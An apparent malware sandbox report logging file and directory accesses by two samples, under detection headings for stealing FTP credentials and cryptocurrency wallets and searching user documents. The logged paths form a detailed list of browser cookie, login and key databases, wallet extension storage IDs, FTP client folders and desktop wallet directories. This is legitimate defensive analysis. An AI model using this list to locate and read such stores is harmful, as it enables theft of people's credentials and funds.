Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
